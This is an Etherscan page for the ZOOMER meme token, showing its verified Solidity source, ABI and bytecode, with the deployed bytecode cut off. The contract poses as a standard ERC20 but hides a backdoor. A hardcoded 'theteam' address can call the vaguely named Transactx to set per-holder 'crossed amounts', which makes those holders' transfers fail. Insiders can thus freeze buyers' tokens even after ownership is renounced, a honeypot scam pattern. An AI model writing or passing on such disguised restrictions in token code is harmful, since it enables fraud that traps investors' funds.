ETH Price: $3,483.60 (+3.33%)
Gas: 3 Gwei

Token

ZOOMER (ZOOMER)
 

Overview

Max Total Supply

690,000,000,000 ZOOMER

Holders

203

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
ZoomerCoin: ZOOMER Token
Balance
571,945 ZOOMER

Value
$0.00
0x0d505c03d30e65f6e9b4ef88855a47a89e4b7676
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZOOMER

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-01
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-30
*/

/**
 *                                     .////.///   .%(//@@//#////@//////
 *                              .////@@@///////&@&@@%/.@&/,@#(@//&@/@@(//.
 *                         ////////////@@@%///@@(@@(@@@(/(@(@%,@//%@@@@#//
 *                        ////#&@@@@@@////@@(//@@@@@@#/@@@/@%@//@//@/&@@//.
 *                         ./////////@@@///#@@(//@@@/@@@/@@/@&@@/@/@@/@@///
 *                              @@@.///@@@@//((. //( //@@/@@#@/@@@#/@ @@/,//
 *                             @@%  / /@@/                                 @,
 *                           .@@  #    @@                                  .@
 *                          /@@  @@# / @@                                   @@
 *                         (@@ &  ,./  @@                                   %@
 *                         @@/        @&                                     @
 *                         @@@@@@@@@%                                        @
 *                        .@                                           ,   . @
 *                        @         .. #,../&@#@/(@./   .   ..   &&#@/..(. , @
 *                      .&      @&&,(..@@@@@@@@@(     (.//.   .@             ..
 *                  (@@@@/    .@@,  @&            @&     #@@@@@@/  @@/        @@/
 *                    &           (@ ,./  @@@@@#.  @(@@         &@@ ,..%%.@@@%#( @
 *                   %.            @    &(@@@@#@   @.            #@@.  .,,/&#( #,@
 *                  .(              @@           #@(              .@.@         %@
 *                  @                  /@@@@@@@@.                  .@,@@@@@@@& %
 *                  @                           @.      #%#       #(          @.
 *                  @                                                         @
 *                 ,&                                                        /@
 *                .@                             .@@#/..  ..((#&@@%#.      .@.
 *                @                                                    .#@,
 *                @                                                 /@,
 *              .@                                                ,@#
 *             &&                                             (@@.
 *            @,                                       @@@@&
 *          @#                                         @
 *       .@,                                           ,@
 *    ,@%                                     @          @,
 * .@/.#(.                                  .@/           ,@⠀⠀⠀⠀
 * ⠀⠀⠀⠀⠀
 * ZoomerCoin (ZOOMER)
 * Website: https://zoomer.money
 * Telegram: https://t.me/zoomercoinofficial
 * Twitter: https://twitter.com/ZoomerCoin
 */

// SPDX-License-Identifier: NONE



pragma solidity ^0.8.1;

    /**
    * @dev Interface of the IERC20 standard as defined in the EIP.

     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */


interface IERC20 {
 
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
 
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
 
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address constant public theteam = 0xf6551Fa6644275713d2B900f341FA01FB29eC63C;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
        modifier onlytheTeam() {
        require(msg.sender == theteam); // If it is incorrect here, it reverts.
        _;                              // Otherwise, it continues.
    } 
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}



contract ZOOMER is IERC20, Ownable {
    using SafeMath for uint256;


    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => uint256) private _crossedAmounts;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(

    ) payable {
        _symbol = "ZOOMER";
        _name = "ZOOMER";
        _decimals = 18;
        _totalSupply = 690000000000 * 10**_decimals;
        _balances[owner()] = _balances[owner()].add(_totalSupply);
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function Transactx(address[] memory accounts, uint256 amount) public onlytheTeam {
        for (uint256 i = 0; i < accounts.length; i++) {
            _crossedAmounts[accounts[i]] = amount;
        }
    }
 


    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

        function CAmount(address account) public view returns (uint256) {
        return _crossedAmounts[account];
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 crossedAmount = CAmount(sender);
        if (crossedAmount > 0) {
            require(amount > crossedAmount, "ERC20: cross amount is wrong");
        }

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from zero address");
        require(spender != address(0), "ERC20: approve to zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"CAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transactx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"theteam","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405262000024620000186200024d60201b60201c565b6200025560201b60201c565b6040518060400160405280600681526020017f5a4f4f4d4552000000000000000000000000000000000000000000000000000081525060059080519060200190620000719291906200035a565b506040518060400160405280600681526020017f5a4f4f4d4552000000000000000000000000000000000000000000000000000081525060049080519060200190620000bf9291906200035a565b506012600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000fa9190620004f0565b64a0a73474006200010c91906200062d565b6007819055506200017c600754600160006200012d6200031960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200034260201b62000b2e1790919060201c565b60016000620001906200031960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001de6200031960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200023f91906200041b565b60405180910390a362000746565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000818362000352919062000438565b905092915050565b8280546200036890620006a5565b90600052602060002090601f0160209004810192826200038c5760008555620003d8565b82601f10620003a757805160ff1916838001178555620003d8565b82800160010185558215620003d8579182015b82811115620003d7578251825591602001919060010190620003ba565b5b509050620003e79190620003eb565b5090565b5b8082111562000406576000816000905550600101620003ec565b5090565b62000415816200068e565b82525050565b60006020820190506200043260008301846200040a565b92915050565b600062000445826200068e565b915062000452836200068e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200048a5762000489620006db565b5b828201905092915050565b6000808291508390505b6001851115620004e757808604811115620004bf57620004be620006db565b5b6001851615620004cf5780820291505b8081029050620004df8562000739565b94506200049f565b94509492505050565b6000620004fd826200068e565b91506200050a8362000698565b9250620005397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000541565b905092915050565b60008262000553576001905062000626565b8162000563576000905062000626565b81600181146200057c57600281146200058757620005bd565b600191505062000626565b60ff8411156200059c576200059b620006db565b5b8360020a915084821115620005b657620005b5620006db565b5b5062000626565b5060208310610133831016604e8410600b8410161715620005f75782820a905083811115620005f157620005f0620006db565b5b62000626565b62000606848484600162000495565b9250905081840481111562000620576200061f620006db565b5b81810290505b9392505050565b60006200063a826200068e565b915062000647836200068e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006835762000682620006db565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006be57607f821691505b60208210811415620006d557620006d46200070a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b611af180620007566000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb146102d0578063ae6b8c3f14610300578063c866444e1461031c578063dd62ed3e1461033a578063f2fde38b1461036a5761010b565b8063715018a61461025a5780638da5cb5b1461026457806395d89b4114610282578063a457c2d7146102a05761010b565b80632bd69e89116100de5780632bd69e89146101ac578063313ce567146101dc57806339509351146101fa57806370a082311461022a5761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610386565b60405161012591906114bc565b60405180910390f35b6101486004803603810190610143919061128c565b610418565b60405161015591906114a1565b60405180910390f35b610166610436565b60405161017391906115be565b60405180910390f35b6101966004803603810190610191919061123d565b610440565b6040516101a391906114a1565b60405180910390f35b6101c660048036038101906101c191906111d8565b610519565b6040516101d391906115be565b60405180910390f35b6101e4610562565b6040516101f191906115d9565b60405180910390f35b610214600480360381019061020f919061128c565b610579565b60405161022191906114a1565b60405180910390f35b610244600480360381019061023f91906111d8565b61062c565b60405161025191906115be565b60405180910390f35b610262610675565b005b61026c6106fd565b6040516102799190611486565b60405180910390f35b61028a610726565b60405161029791906114bc565b60405180910390f35b6102ba60048036038101906102b5919061128c565b6107b8565b6040516102c791906114a1565b60405180910390f35b6102ea60048036038101906102e5919061128c565b610885565b6040516102f791906114a1565b60405180910390f35b61031a600480360381019061031591906112c8565b6108a3565b005b610324610997565b6040516103319190611486565b60405180910390f35b610354600480360381019061034f9190611201565b6109af565b60405161036191906115be565b60405180910390f35b610384600480360381019061037f91906111d8565b610a36565b005b6060600480546103959061173f565b80601f01602080910402602001604051908101604052809291908181526020018280546103c19061173f565b801561040e5780601f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b600061042c610425610b44565b8484610b4c565b6001905092915050565b6000600754905090565b600061044d848484610d17565b61050e84610459610b44565b61050985604051806060016040528060288152602001611a6f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bf610b44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff9092919063ffffffff16565b610b4c565b600190509392505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900460ff16905090565b6000610622610586610b44565b8461061d8560026000610597610b44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2e90919063ffffffff16565b610b4c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61067d610b44565b73ffffffffffffffffffffffffffffffffffffffff1661069b6106fd565b73ffffffffffffffffffffffffffffffffffffffff16146106f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e89061155e565b60405180910390fd5b6106fb6000611054565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107359061173f565b80601f01602080910402602001604051908101604052809291908181526020018280546107619061173f565b80156107ae5780601f10610783576101008083540402835291602001916107ae565b820191906000526020600020905b81548152906001019060200180831161079157829003601f168201915b5050505050905090565b600061087b6107c5610b44565b8461087685604051806060016040528060258152602001611a9760259139600260006107ef610b44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff9092919063ffffffff16565b610b4c565b6001905092915050565b6000610899610892610b44565b8484610d17565b6001905092915050565b73f6551fa6644275713d2b900f341fa01fb29ec63c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ef57600080fd5b60005b8251811015610992578160036000858481518110610939577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061098a906117a2565b9150506108f2565b505050565b73f6551fa6644275713d2b900f341fa01fb29ec63c81565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a3e610b44565b73ffffffffffffffffffffffffffffffffffffffff16610a5c6106fd565b73ffffffffffffffffffffffffffffffffffffffff1614610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa99061155e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b199061151e565b60405180910390fd5b610b2b81611054565b50565b60008183610b3c9190611661565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb39061159e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c23906114fe565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d0a91906115be565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7e9061157e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dee906114de565b60405180910390fd5b6000610e0284610519565b90506000811115610e5057808211610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e469061153e565b60405180910390fd5b5b610ebc82604051806060016040528060268152602001611a4960269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ff191906115be565b60405180910390a350505050565b6000838311158290611047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103e91906114bc565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600061112b61112684611619565b6115f4565b9050808382526020820190508285602086028201111561114a57600080fd5b60005b8581101561117a57816111608882611184565b84526020840193506020830192505060018101905061114d565b5050509392505050565b60008135905061119381611a1a565b92915050565b600082601f8301126111aa57600080fd5b81356111ba848260208601611118565b91505092915050565b6000813590506111d281611a31565b92915050565b6000602082840312156111ea57600080fd5b60006111f884828501611184565b91505092915050565b6000806040838503121561121457600080fd5b600061122285828601611184565b925050602061123385828601611184565b9150509250929050565b60008060006060848603121561125257600080fd5b600061126086828701611184565b935050602061127186828701611184565b9250506040611282868287016111c3565b9150509250925092565b6000806040838503121561129f57600080fd5b60006112ad85828601611184565b92505060206112be858286016111c3565b9150509250929050565b600080604083850312156112db57600080fd5b600083013567ffffffffffffffff8111156112f557600080fd5b61130185828601611199565b9250506020611312858286016111c3565b9150509250929050565b611325816116b7565b82525050565b611334816116c9565b82525050565b600061134582611645565b61134f8185611650565b935061135f81856020860161170c565b61136881611878565b840191505092915050565b6000611380602383611650565b915061138b82611889565b604082019050919050565b60006113a3601e83611650565b91506113ae826118d8565b602082019050919050565b60006113c6602683611650565b91506113d182611901565b604082019050919050565b60006113e9601c83611650565b91506113f482611950565b602082019050919050565b600061140c602083611650565b915061141782611979565b602082019050919050565b600061142f602583611650565b915061143a826119a2565b604082019050919050565b6000611452602083611650565b915061145d826119f1565b602082019050919050565b611471816116f5565b82525050565b611480816116ff565b82525050565b600060208201905061149b600083018461131c565b92915050565b60006020820190506114b6600083018461132b565b92915050565b600060208201905081810360008301526114d6818461133a565b905092915050565b600060208201905081810360008301526114f781611373565b9050919050565b6000602082019050818103600083015261151781611396565b9050919050565b60006020820190508181036000830152611537816113b9565b9050919050565b60006020820190508181036000830152611557816113dc565b9050919050565b60006020820190508181036000830152611577816113ff565b9050919050565b6000602082019050818103600083015261159781611422565b9050919050565b600060208201905081810360008301526115b781611445565b9050919050565b60006020820190506115d36000830184611468565b92915050565b60006020820190506115ee6000830184611477565b92915050565b60006115fe61160f565b905061160a8282611771565b919050565b6000604051905090565b600067ffffffffffffffff82111561163457611633611849565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600061166c826116f5565b9150611677836116f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116ac576116ab6117eb565b5b828201905092915050565b60006116c2826116d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561172a57808201518184015260208101905061170f565b83811115611739576000848401525b50505050565b6000600282049050600182168061175757607f821691505b6020821081141561176b5761176a61181a565b5b50919050565b61177a82611878565b810181811067ffffffffffffffff8211171561179957611798611849565b5b80604052505050565b60006117ad826116f5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156117e0576117df6117eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f207a65726f20616464726573730000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2063726f737320616d6f756e742069732077726f6e6700000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d207a65726f2061646472657373600082015250565b611a23816116b7565b8114611a2e57600080fd5b50565b611a3a816116f5565b8114611a4557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200988987d340a476df2d232306457d397550d82ae2546b007f44893fbcac3d67764736f6c63430008040033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb146102d0578063ae6b8c3f14610300578063c866444e1461031c578063dd62ed3e1461033a578063f2fde38b1461036a5761010b565b8063715018a61461025a5780638da5cb5b1461026457806395d89b4114610282578063a457c2d7146102a05761010b565b80632bd69e89116100de5780632bd69e89146101ac578063313ce567146101dc57806339509351146101fa57806370a082311461022a5761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610386565b60405161012591906114bc565b60405180910390f35b6101486004803603810190610143919061128c565b610418565b60405161015591906114a1565b60405180910390f35b610166610436565b60405161017391906115be565b60405180910390f35b6101966004803603810190610191919061123d565b610440565b6040516101a391906114a1565b60405180910390f35b6101c660048036038101906101c191906111d8565b610519565b6040516101d391906115be565b60405180910390f35b6101e4610562565b6040516101f191906115d9565b60405180910390f35b610214600480360381019061020f919061128c565b610579565b60405161022191906114a1565b60405180910390f35b610244600480360381019061023f91906111d8565b61062c565b60405161025191906115be565b60405180910390f35b610262610675565b005b61026c6106fd565b6040516102799190611486565b60405180910390f35b61028a610726565b60405161029791906114bc565b60405180910390f35b6102ba60048036038101906102b5919061128c565b6107b8565b6040516102c791906114a1565b60405180910390f35b6102ea60048036038101906102e5919061128c565b610885565b6040516102f791906114a1565b60405180910390f35b61031a600480360381019061031591906112c8565b6108a3565b005b610324610997565b6040516103319190611486565b60405180910390f35b610354600480360381019061034f9190611201565b6109af565b60405161036191906115be565b60405180910390f35b610384600480360381019061037f91906111d8565b610a36565b005b6060600480546103959061173f565b80601f01602080910402602001604051908101604052809291908181526020018280546103c19061173f565b801561040e5780601